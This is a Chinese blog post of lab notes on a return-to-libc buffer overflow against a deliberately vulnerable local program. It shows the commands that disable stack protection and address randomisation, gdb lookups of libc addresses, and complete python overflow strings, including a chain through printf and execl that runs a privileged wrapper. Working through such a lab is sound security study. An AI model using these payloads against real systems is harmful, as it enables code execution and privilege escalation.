@1. 基本思路
控制eip使程序流程流向glibc函數,而不是shellcode所在的堆棧上。system(),exit()……
@2. 規劃如下:
緩衝區 --> 溢出
ebp --> 溢出
eip --> system()地址
vars --> 填充內容(一般是4個字節,作爲system()返回之後的eip)
--> '/bin/sh'
@3. write vuln2.c and compile it with order 'gcc -mpreferred-stack-boundary=2 -fno-stack-protector -o viln2 vuln2.c ' 去掉"-z execstack"是加上堆棧不可執行。
@4. 關閉地址隨機化,echo 0 > /proc/sys/kernel/randomize_va_space
@5. find where is glibc's system() and where is "/bin/sh"
在gdb裏面尋找: (gdb) print system
$1 = {<text variable, no debug info>} 0xb7e52260 <__libc_system>
使用程序search.c尋找:
編譯search.c出錯:在函數‘main’中:
search.c:(.text+0x6e):對‘dlopen’未定義的引用
search.c:(.text+0x8a):對‘dlsym’未定義的引用
search.c:(.text+0xc5):對‘dlsym’未定義的引用
collect2: error: ld returned 1 exit status
問題描述:Undefined reference to 錯誤:這類錯誤是在連接過程中出現的,可能有兩種原因∶一是使用者自己定義的函數或者全局變量所在源代碼文件,沒有被編譯、連接,或者乾脆還沒有定義,這 需要使用者根據實際情況修改源程序,給出全局變量或者函數的定義體;二是未定義的符號是一個標準的庫函數,在源程序中使用了該庫函數,而連接過程中還沒有 給定相應的函數庫的名稱,或者是該檔案庫的目錄名稱有問題.
解決:gcc -o search search.c -ldl (-lm)
result:
system() found at b7e51260
exit() found at b7e437f0
"/bin/sh" found at b7f79b98
@6. 構造溢出串。
結果中的地址都小了0x1000
./vuln2 `python -c "print 'A'*11+'\x60\x22\xe5\xb7'+'\xf0\x47\xe4\xb7'+'\x98\xab\xf7\xb7'"`
@7. 提升權限。
本地高權限程序wrapper.c,利用漏洞調用本地高權限程序即可提升權限。
#1. 編寫wrapper.c
#2. execl('./wrapper', './wrapper', NULL)
因此,需要找到execl()的地址、"./wrapper"地址(環境變量)、printf()地址,"%3\$n地址(環境變量).
#3.gdb
print printf
$1 = {<text variable, no debug info>} 0xb7e5f7d0 <__printf>
print execl
$2 = {<text variable, no debug info>} 0xb7ecbe40 <__GI_execl>
#4.get_env.c compiled file's name's length must be equal "vuln2"'s length(5)
#5. store env_vars
export FMTSTR="%3\$n"
./gtenv FMTSTR
FMTSTR is located at 0xbffffa39
export WRAPPER="./wrapper"
./gtenv WRAPPER
WRAPPER is located at 0xbffffb1c
./gtenv NULL
NULL is located at 0xbffffbfd
#6. 構造假堆棧
緩衝區 --> 溢出
ebp --> 溢出
eip --> printf()的地址
--- --> execl()的地址
--- --> "%3\$n"地址
--- --> "./wrapper"的地址
--- --> "./wrapper"的地址
--- --> paddings --> 該處使用了一個環境變量NULL的地址(在上面有列出)
./vuln2 `python -c "print 'A'*11+'\xd0\xf7\xe5\xb7'+'\x40\xbe\xec\xb7'+'\x39\xfa\xff\xbf'+'\x1c\xfb\xff\xbf'*2+'\xfd\xfb\xff\xbf'"`
#7.反思,只要使用NULL環境變量給execl()提供最偶一個參數就可以了。
./vuln2 `python -c "print 'A'*11+'\x40\xbe\xec\xb7'+'BBBB'+'\x1c\xfb\xff\xbf'*2+'\xfd\xfb\xff\xbf'"`
不可執行內存頁保護攻擊--return to libc attack
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章
24小時熱門文章
-
使用c#強大的表達式樹實現對象的深克隆之解決循環引用的問題
-
GPT-4o 引領人機交互新風向,向量數據庫賽道沸騰了
-
痞子衡嵌入式:恩智浦i.MX RT1xxx系列MCU啓動那些事(12.A)- uSDHC eMMC啓動時間(RT1170)
-
基於Ubuntu-22.04安裝K8s-v1.28.2實驗(二)使用kube-vip實現集羣VIP訪問
-
企業大模型如何成爲自己數據的“百科全書”?
-
本地SSL證書過期 輸入命令在IIS自動生成
-
.NET週刊【5月第2期 2024-05-12】
-
基於Ubuntu-22.04安裝K8s-v1.28.2實驗(一)部署K8s
-
基於Ubuntu-22.04安裝K8s-v1.28.2實驗(三)數據卷掛載NFS(網絡文件系統)
-
根據域名查詢服務器的ip地址